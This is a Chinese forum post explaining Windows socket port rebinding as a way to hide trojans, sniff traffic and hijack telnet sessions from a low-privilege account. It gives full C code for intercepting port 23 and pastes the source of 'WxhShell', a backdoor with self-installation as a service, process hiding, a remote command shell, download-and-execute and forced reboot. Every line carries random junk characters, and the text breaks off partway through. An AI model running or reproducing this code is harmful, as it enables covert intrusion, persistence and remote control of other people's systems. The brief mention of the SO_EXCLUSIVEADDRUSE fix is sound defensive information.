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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 11kyrv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b{{ H@LTW  
dU2;   
  saddr.sin_family = AF_INET; !`1m.  
O:pg+o&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |v5 ge3-  
~I%164B+/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nZ (wfNk  
TW70z]B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [{Q$$aV1  
+"bi]^\z  
  这意味着什么?意味着可以进行如下的攻击: gA}<Y  
4VwMl)8ic  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S]~5iO_bst  
b18f=<#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WVK AA.  
23`salLclG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r<Cr)%z!  
j(]O$""  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `wU['{=  
1#Hr{&2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !E_|Zp]up  
qSG0TWD!pq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )pT5"{  
;aX?K/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \%.oi@A  
jYFmL_{  
  #include t u{~:Z(  
  #include ?!/8~'xA6  
  #include =Y6W Qf  
  #include    _)!*,\*`{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QjG/H0*mP  
  int main() D %)L "5C  
  { " zD9R4\X.  
  WORD wVersionRequested; SK^(7Ws~0  
  DWORD ret; R8eBIJ/@_  
  WSADATA wsaData; Dq$1 j%4Y  
  BOOL val; ~gGkw#  
  SOCKADDR_IN saddr; }1~9i'o%Z  
  SOCKADDR_IN scaddr; d;wq@ e  
  int err; js"5{w&  
  SOCKET s; )oz2V9X{  
  SOCKET sc; &GJVFr~z  
  int caddsize; J:>o\%sF  
  HANDLE mt; |YyNqwP`,  
  DWORD tid;   un -h%-e |  
  wVersionRequested = MAKEWORD( 2, 2 ); Ql l{;A  
  err = WSAStartup( wVersionRequested, &wsaData ); 5(hv|t/a  
  if ( err != 0 ) { x=Oy 6"  
  printf("error!WSAStartup failed!\n"); D1v0`od'  
  return -1; -PGxG 8S  
  } S-Vj$asv!  
  saddr.sin_family = AF_INET; jgG9?w)|u  
   8F`8=L NO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^B} m~qT  
.Y?]r6CC/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LP|YW*i=IQ  
  saddr.sin_port = htons(23); |UMm>.\'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t8h*SHD9  
  { B@i%B+qCLv  
  printf("error!socket failed!\n"); /V/NL#(R  
  return -1; |3!)  
  } ha=2isq  
  val = TRUE; *?HoN;^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HF_8661g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1Q? RD%lkf  
  { PlLt^q.z[  
  printf("error!setsockopt failed!\n"); X#JUorGp  
  return -1; 0'$67pY  
  } lN,a+S/'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r hucBm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Og1vD5a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $ B&Zn Z?  
F`x_W;\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g)r{LxT#+  
  { z |~+0  
  ret=GetLastError(); ~M} K]Li  
  printf("error!bind failed!\n"); h4|}BGO  
  return -1; K[OOI~"C  
  } 4m91XD  
  listen(s,2); nQ+5jGP1  
  while(1) O_4B> )zd  
  { jaKW[@<  
  caddsize = sizeof(scaddr); <4vCx  
  //接受连接请求 ~S;-sxoO0l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q>Z~={"  
  if(sc!=INVALID_SOCKET) g H'hA'  
  { ([>__c/Nd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y)pop :y t  
  if(mt==NULL) ]j6pd*H  
  { . <z7$lz\  
  printf("Thread Creat Failed!\n"); 2(l0Lq*  
  break; ?#(LH\$l_  
  } 3.BUWMD  
  } 7]T(=gg /  
  CloseHandle(mt); ")i)vXF'  
  } @_-,Q5  
  closesocket(s); >Jx=k"Kv+  
  WSACleanup(); =d^hiR!GN  
  return 0; W&|?8%"l]  
  }   l9a81NF{s  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4aBVO%t  
  { ,-E'059  
  SOCKET ss = (SOCKET)lpParam; Komdz/g  
  SOCKET sc; q6C`hVM l  
  unsigned char buf[4096]; z7`|N`$Z#s  
  SOCKADDR_IN saddr; t^YtP3`?b  
  long num; jmaw-Rx  
  DWORD val; ~i?A!  
  DWORD ret; #\Rxqh7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z|%Pi J ,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X5[t6q!  
  saddr.sin_family = AF_INET; {x,)OgK!{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?yq=c  
  saddr.sin_port = htons(23); Um4zI>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uZrp ^  
  { .-tR <{ g  
  printf("error!socket failed!\n"); g1[BrT,  
  return -1; ^`";GnH0  
  } d!R+-Fp  
  val = 100; ZZo<0kDk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (ub(0 h0j  
  { Il&7n_ H  
  ret = GetLastError(); dG5jhkPX  
  return -1; a4~B  
  } 1Xm>nF~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0'pB7^y  
  { ]7W!f 2@  
  ret = GetLastError(); (E00T`@t0i  
  return -1; Ru*gbv,U  
  } Pm)*zdZ8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 87l*Y|osP  
  { )/)u.$pi  
  printf("error!socket connect failed!\n"); W#P\hx  
  closesocket(sc); bRm;d_9zC  
  closesocket(ss); lD[@D9  
  return -1; j0{`7n  
  } H2: Zda#  
  while(1) -;_"Y]#  
  { AJ*17w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2h51zG#qd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 16 `M=R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |au`ph5  
  num = recv(ss,buf,4096,0); T{+a48,;  
  if(num>0) `+\$  
  send(sc,buf,num,0); i]k)wr(  
  else if(num==0) |*g#7 YL  
  break; 67Pmnad  
  num = recv(sc,buf,4096,0); zc)nDyn  
  if(num>0) _p0Yhju?  
  send(ss,buf,num,0); O5p$ A @  
  else if(num==0) ~s HdOMw  
  break; ky[Cx!81C  
  } oOI0q_bf  
  closesocket(ss); L QV@]z&  
  closesocket(sc); #1'q'f:7 &  
  return 0 ; }>BNdm"Er  
  } Bj \ x  
~"`e9Im  
hjg1By(  
========================================================== `Pj7:[."[  
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下边附上一个代码,,WXhSHELL ^lV}![do!  
A9BoH[is7  
========================================================== qfJ2iE|o2.  
`Ze$Bd\  
#include "stdafx.h" JX 5/PCO  
y<- ]'Yts  
#include <stdio.h> gtMR/P:S  
#include <string.h> vkGF_aenk  
#include <windows.h> |wuTw|  
#include <winsock2.h> A)n_ST0  
#include <winsvc.h> LZ_VLW9w E  
#include <urlmon.h> nN<,rN{ :  
IWq\M,P  
#pragma comment (lib, "Ws2_32.lib") =h-E N_[  
#pragma comment (lib, "urlmon.lib") \D z? h  
/FXvrH(  
#define MAX_USER   100 // 最大客户端连接数 F6yFKNK!n  
#define BUF_SOCK   200 // sock buffer pI K:$eN!/  
#define KEY_BUFF   255 // 输入 buffer fG>3gS6&  
1DcBF@3sWG  
#define REBOOT     0   // 重启 Q}B]b-c+E  
#define SHUTDOWN   1   // 关机 QEt"T7a[/  
(jU_lsG  
#define DEF_PORT   5000 // 监听端口 >>KI_$V  
)GG9[%H!  
#define REG_LEN     16   // 注册表键长度 xgIb6<qwY  
#define SVC_LEN     80   // NT服务名长度 6?M/7 1  
'62_q8:  
// 从dll定义API =L#&`s@)_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >uYQt ~s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8493Sw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KM[0aXOtv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I[K4/91  
AH'c:w]~  
// wxhshell配置信息 !zOj`lx  
struct WSCFG { w"[T  
  int ws_port;         // 监听端口 Ar >JQ@0  
  char ws_passstr[REG_LEN]; // 口令 %zGv+H?  
  int ws_autoins;       // 安装标记, 1=yes 0=no )m =xf1  
  char ws_regname[REG_LEN]; // 注册表键名 y$-@|M$GG  
  char ws_svcname[REG_LEN]; // 服务名 ? eX$Wc{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I(R%j]LX&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \)uA:v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6}R*7iM s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l@GJcCufE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hE=xS:6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OV;VsF  
3^wHL:u  
}; !6X6_ +}M  
P/ 6$TgQ  
// default Wxhshell configuration Lwi"K8.u  
struct WSCFG wscfg={DEF_PORT, ^TZmc{i  
    "xuhuanlingzhe", qQ)1+^  
    1, -|}?+W  
    "Wxhshell", xf;>o$oN0P  
    "Wxhshell", UJqh~s  
            "WxhShell Service", YL|)`m0-^5  
    "Wrsky Windows CmdShell Service", 084Us s  
    "Please Input Your Password: ", T<Xw[PEnP  
  1, $k&v juB.  
  "http://www.wrsky.com/wxhshell.exe", VV1sadS:S`  
  "Wxhshell.exe" fTR6]i;  
    }; 6:%lxG  
)ddJ\:  
// 消息定义模块 R$l- 7YSt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bFN/{^SB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n7;jME/!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V0>[bzI  
char *msg_ws_ext="\n\rExit."; D['J4B  
char *msg_ws_end="\n\rQuit."; )s:kQ~+  
char *msg_ws_boot="\n\rReboot..."; |0}Xb|+  
char *msg_ws_poff="\n\rShutdown..."; T\p>wiY2|F  
char *msg_ws_down="\n\rSave to "; `!N}u  
? Pi|`W   
char *msg_ws_err="\n\rErr!"; 5%9Uh'y#  
char *msg_ws_ok="\n\rOK!"; VS ECD;u4c  
:t`W&z41  
char ExeFile[MAX_PATH]; p({@t=L3g  
int nUser = 0; sdO8;v>  
HANDLE handles[MAX_USER]; Pi5MFw'v  
int OsIsNt; !\{2s!l~  
r3' DXP  
SERVICE_STATUS       serviceStatus; Hl%Og$q3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xux[  
|(W wh$  
// 函数声明 *V:U\G  
int Install(void); 5>%^"f  
int Uninstall(void); oh$"?N7n1  
int DownloadFile(char *sURL, SOCKET wsh); 6p)&}m9!  
int Boot(int flag); Peph..8Z  
void HideProc(void); y>t:flD*  
int GetOsVer(void); &uE )Vr4R  
int Wxhshell(SOCKET wsl); ;rT/gwg!  
void TalkWithClient(void *cs); ]8}2  
int CmdShell(SOCKET sock); tx[;& ;  
int StartFromService(void); _I;hM  
int StartWxhshell(LPSTR lpCmdLine); Eu&$Rq}  
QChWy`x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p2l@6\m\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f@ |[pT  
[Uq`B &F:  
// 数据结构和表定义 =/'>.p3/S  
SERVICE_TABLE_ENTRY DispatchTable[] = <7ANXHuSW  
{ ` ~m/  
{wscfg.ws_svcname, NTServiceMain}, lU Zj  
{NULL, NULL} T7mT:z>:  
}; m[y~-n  
.{ILeG  
// 自我安装 |Tmug X7  
int Install(void) J&h59dm-  
{ Xlug{ Uh  
  char svExeFile[MAX_PATH]; vgtAJp+p*  
  HKEY key; ;sYDs71y  
  strcpy(svExeFile,ExeFile); P]^8Enp  
B0yGr\KJ  
// 如果是win9x系统,修改注册表设为自启动 . mO8 ~Z  
if(!OsIsNt) { XN t` 4$L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q?j '4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0&NM=~  
  RegCloseKey(key); R?lTB3"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l[5** ?#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <astIu Au  
  RegCloseKey(key);  Rh6CV  
  return 0; : ^}!"4{  
    } Y{e,I-"{  
  } & ;5f/  
} e^~dx}X  
else { 9.dZA9l@g  
a>4q"IT6  
// 如果是NT以上系统,安装为系统服务 UK^w;w2F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1S(oi  
if (schSCManager!=0) .yUD\ZGJ u  
{ R6 ej  
  SC_HANDLE schService = CreateService 7ZAxhFC  
  ( YG*<jKcX  
  schSCManager, >#r0k|3J^J  
  wscfg.ws_svcname, {-7ovH?  
  wscfg.ws_svcdisp, `R (N3  
  SERVICE_ALL_ACCESS, w_`;Mn%p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R=Lkf  
  SERVICE_AUTO_START, |QbCFihn  
  SERVICE_ERROR_NORMAL, 3nhQ^zqf  
  svExeFile, . &}x[~g  
  NULL, J:uFQWxZ   
  NULL, D6e?J.  
  NULL, 0[ "CP:u  
  NULL, hA/Es?U]  
  NULL +7WpJ;C4  
  ); &-NGVPk81`  
  if (schService!=0) ZI$P Qz2i  
  { X0ugnQ6  
  CloseServiceHandle(schService); S]fkA6v  
  CloseServiceHandle(schSCManager); }3Ke  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VrT-6r'Y  
  strcat(svExeFile,wscfg.ws_svcname); (]mBAQ#hw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ta"Ug.z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h-Ks:pcR  
  RegCloseKey(key); 1n2Pr'|s  
  return 0; Bf^K?:r"V  
    } ''9K(p6  
  } \Qnr0t@0  
  CloseServiceHandle(schSCManager); 2|exY>`w  
} mBrZ{hqS  
} h8M}}   
/;q 3Q#  
return 1; 4s>L]! W$8  
} *}HDq(/>w  
F @t\D?  
// 自我卸载 B "4A1!  
int Uninstall(void) Ls|)SiXrY  
{ kW%wt1",  
  HKEY key; yoq-H+<  
P&c O2  
if(!OsIsNt) { Yqu/_6wLx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \mb@-kM)  
  RegDeleteValue(key,wscfg.ws_regname); ;/23CFYM  
  RegCloseKey(key); }|=Fnyj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K43`$  
  RegDeleteValue(key,wscfg.ws_regname); x`wUi*G  
  RegCloseKey(key); 7PfNPz<4+  
  return 0; _ !"[Zr  
  } buKkm$@w  
} A #pH$s  
} fE|"g'  
else { +m}D.u*cp  
I)3LJK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rdj3dg'<  
if (schSCManager!=0) J +Y?'"r  
{ Bq4@I_b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .Q</0*sp  
  if (schService!=0) I A=\c  
  { =y?Aeqq\fl  
  if(DeleteService(schService)!=0) { :[_k .1-+  
  CloseServiceHandle(schService); f0g_Gn $  
  CloseServiceHandle(schSCManager); <[gN4x>'  
  return 0; DvI^3iG8  
  } <Z1m9O "sy  
  CloseServiceHandle(schService); - t 4F  
  } \dB z-H'@  
  CloseServiceHandle(schSCManager); ] :](xW%  
} WT 5 2  
} tC+1 1M  
rP(;^8l"  
return 1; 6lr<{k7Nw  
} 6: R1jF*eG  
^#h ;bX#  
// 从指定url下载文件 Yv{$XI7  
int DownloadFile(char *sURL, SOCKET wsh) Aba%QQQ  
{ z+_d*\  
  HRESULT hr; [w  FK!?  
char seps[]= "/"; _lH:%E*  
char *token; JsX}PVuL  
char *file; (c3O> *M  
char myURL[MAX_PATH]; ,k:>Z&:  
char myFILE[MAX_PATH]; D#>d+X$  
-Y"2c,~pH  
strcpy(myURL,sURL); gazX2P[D  
  token=strtok(myURL,seps); _>t6]?*  
  while(token!=NULL) 77]Fp(uI  
  { 6%c]{eTd9  
    file=token; a}k5[)et  
  token=strtok(NULL,seps); ?%>S5,f_  
  } 8js1m55KT  
>\lBbq a#  
GetCurrentDirectory(MAX_PATH,myFILE); HErG%v]nw  
strcat(myFILE, "\\"); d(D|rf,av  
strcat(myFILE, file); [;C*9Nl  
  send(wsh,myFILE,strlen(myFILE),0); D|C!KF (  
send(wsh,"...",3,0); kf' 4C "}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0}>p)k3&A  
  if(hr==S_OK) 2tp95E`(O  
return 0; *u>[  
else <{HV|B7  
return 1; wX@g >(  
~P-^An^  
} Fe 7 8YDx?  
B1U7z1<  
// 系统电源模块 .T~Oc'wGo  
int Boot(int flag) $C{-gx+:  
{ ]PH'G>x  
  HANDLE hToken; 9$R}GK  
  TOKEN_PRIVILEGES tkp; )*BG-nM u  
^{O1+7d[.  
  if(OsIsNt) { _6sSS\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V$  MMK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ez^wK~  
    tkp.PrivilegeCount = 1; Q"GZh.m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Lnltt86  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9iK%@k  
if(flag==REBOOT) { 5.U|CL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F{m?:A  
  return 0; H|d"45J_  
} )f`oCXh  
else { e yByAT~W,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bqZ5GKUo  
  return 0; [_tBv" z  
} ~Y7:08  
  } ~2 J!I^ J  
  else { Y c>.P  
if(flag==REBOOT) { MF5o\-&dN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E^Z?X2Z  
  return 0; Bc?KAK  
} 7Y1FFw |  
else { @_"Z]Y ,D0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dgz^s^fxU  
  return 0; tNDv[IF  
} srIt_Wq  
} ^#z*   
vq5o?$:-  
return 1; -h&KC{Xab  
} rhwjsC6  
{= T9_c  
// win9x进程隐藏模块 843O}v'  
void HideProc(void) P?`a{sl.  
{ 'iEu1! t\0  
7MwS[N%#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \hqjk:o  
  if ( hKernel != NULL ) /E5>cqX4A  
  { 6Iv &c2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1>_2 =^[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /,^AG2]( f  
    FreeLibrary(hKernel); k:`yxxYIh  
  } = _/XFN  
/G!M\teeF  
return; 39Tlt~Psz  
} j:'8yFi_  
0-I L@Di`F  
// 获取操作系统版本 D'\gy$9m1  
int GetOsVer(void) ]9$^=z%SE  
{ o+FDkqEN  
  OSVERSIONINFO winfo; WKONK;U+7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F+m;y  
  GetVersionEx(&winfo); -h,?_d>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y/,Cy0!  
  return 1; N9BfjT}  
  else ee .,D  
  return 0; !,cfA';S  
} ?%i~~hfH#N  
L-Pq/x2r  
// 客户端句柄模块 t'bhA20Z\  
int Wxhshell(SOCKET wsl) ~>>^7oq  
{ Pbl#ieZM  
  SOCKET wsh; )&.Zxo;q=  
  struct sockaddr_in client; ;a~ e  
  DWORD myID;  t'e5!Ma  
DDp\*6y3l  
  while(nUser<MAX_USER) t,308Z  
{ zIbrw9G  
  int nSize=sizeof(client); 6[& x7"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =]W[{@P  
  if(wsh==INVALID_SOCKET) return 1; f2Z(hYH~  
9%^O-8!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?4YLt|sn  
if(handles[nUser]==0) \vqqs  
  closesocket(wsh); k[5:]5lp+  
else v1\/dQK  
  nUser++; OH6-\U'.Z  
  } }]|e0 w:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5T]dQ3[v4  
kuW^_BROJ  
  return 0; IOOK[g.?h  
} T8 >aU  
rE9Nt9}  
// 关闭 socket ~r?VXO p"  
void CloseIt(SOCKET wsh) }5lC8{wZ  
{ p?'&P!  
closesocket(wsh); I@:"Qee  
nUser--; -$cO0RSY  
ExitThread(0); 5O"$'iL  
} ~Nn}FNe  
#7p!xf^  
// 客户端请求句柄 oR'u&\mB  
void TalkWithClient(void *cs) ^BhS*  
{ ^D A<=C-[!  
5b;~&N4~  
  SOCKET wsh=(SOCKET)cs; |a>,FZv8e  
  char pwd[SVC_LEN]; ;]^% 6B n  
  char cmd[KEY_BUFF]; nXfd f-  
char chr[1]; -Rbv#Y  
int i,j; j. mla  
X \qG WpN%  
  while (nUser < MAX_USER) { 8 Cw3b\ne  
Tx|y!uHh  
if(wscfg.ws_passstr) { Z^_gS&nDa~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YZ^mH <  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 40HhMTZ0-  
  //ZeroMemory(pwd,KEY_BUFF); #;/ob-  
      i=0; ,#K{+1z:  
  while(i<SVC_LEN) { d VyT`  
3U%kf<m=  
  // 设置超时 U}DLzn|w  
  fd_set FdRead; J(w 3A)(  
  struct timeval TimeOut; 2$FH+wuW  
  FD_ZERO(&FdRead); t"jiLOQ[6  
  FD_SET(wsh,&FdRead); D4$2'h  
  TimeOut.tv_sec=8; /o9 0O&  
  TimeOut.tv_usec=0; [Z;ei1l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O9_SVXWVw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7R$O ~R3p  
x%T.0@!8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8~ u/gM  
  pwd=chr[0]; f-Zi!AGh>  
  if(chr[0]==0xd || chr[0]==0xa) { h}4yz96WD  
  pwd=0; 1C(sBU"  
  break; h`f$]_c  
  } Ik-E_U2  
  i++; fw)Q1"|  
    } V E?Aa  
$0|`h)&  
  // 如果是非法用户,关闭 socket )Bu#ln"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AejM\#>  
} y+nX(@~f]  
"<&) G{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DcN!u6sJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~]SCf@pRk  
63/a 0Yn  
while(1) { P=R-1V  
zJov*^T-C  
  ZeroMemory(cmd,KEY_BUFF); !wTrWD!  
zZ;V9KM>v  
      // 自动支持客户端 telnet标准   &pW2R}  
  j=0; lN*beOj  
  while(j<KEY_BUFF) { 7QRkXs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B[9y<FB+  
  cmd[j]=chr[0]; 5&qBG@Hw]  
  if(chr[0]==0xa || chr[0]==0xd) { K%1`LT5:~  
  cmd[j]=0; ehTv@2b  
  break; D!&]jkUN  
  } F ESl#.}  
  j++; Uo;a$sR  
    } r+;k(HMY}[  
h.q9p!  
  // 下载文件 Ko0?c.l  
  if(strstr(cmd,"http://")) { p}8?#5`/w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d'iSvd.  
  if(DownloadFile(cmd,wsh)) D7=Irz!O\7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !6,rN_a@Y  
  else v[V7$.%5Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X.ecA`0  
  } n;wViw  
  else { Q" r y@ (I  
wHh6y?g\  
    switch(cmd[0]) { 6Ta+f3V   
  xxA^A  
  // 帮助 w|abaMam  
  case '?': { \ &47u1B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $gZiW8  
    break; =\G`g #  
  } ~RLWr.pK  
  // 安装 @0(%ayi2Y  
  case 'i': { y?U@F/^}N  
    if(Install()) FC WF$'cO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dh9@3. t  
    else "z*.Bk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?TJ4L/"(k6  
    break; sDAP'&  
    } E1SWZ&';  
  // 卸载 bo1J'pU  
  case 'r': { sf/m@425  
    if(Uninstall()) TbLU[(m-n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~'F.tB  
    else H3 -?cy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e=3C*+lq\  
    break; ?d+ri  
    } [5tvdW6Z &  
  // 显示 wxhshell 所在路径 A1r%cs  
  case 'p': { %J Jp/I  
    char svExeFile[MAX_PATH]; `vz7 }TY  
    strcpy(svExeFile,"\n\r"); 8 Vf #t!t  
      strcat(svExeFile,ExeFile); i[I&m]N  
        send(wsh,svExeFile,strlen(svExeFile),0); s\<UDW  
    break; 2qojU%fiH  
    } #%w+PL:*O  
  // 重启 bR,Es~n  
  case 'b': { \iaZV.#f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  A@9\Qd  
    if(Boot(REBOOT)) :,fT^izew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zu2`IzrG#  
    else { $B7c\MR j  
    closesocket(wsh); |}UA=? Xl  
    ExitThread(0); KDP"z  
    } N;,zPWa  
    break; R!yh0y}Z  
    } )_\;l%&  
  // 关机 2vU-9p {  
  case 'd': { Pm%5c\ef  
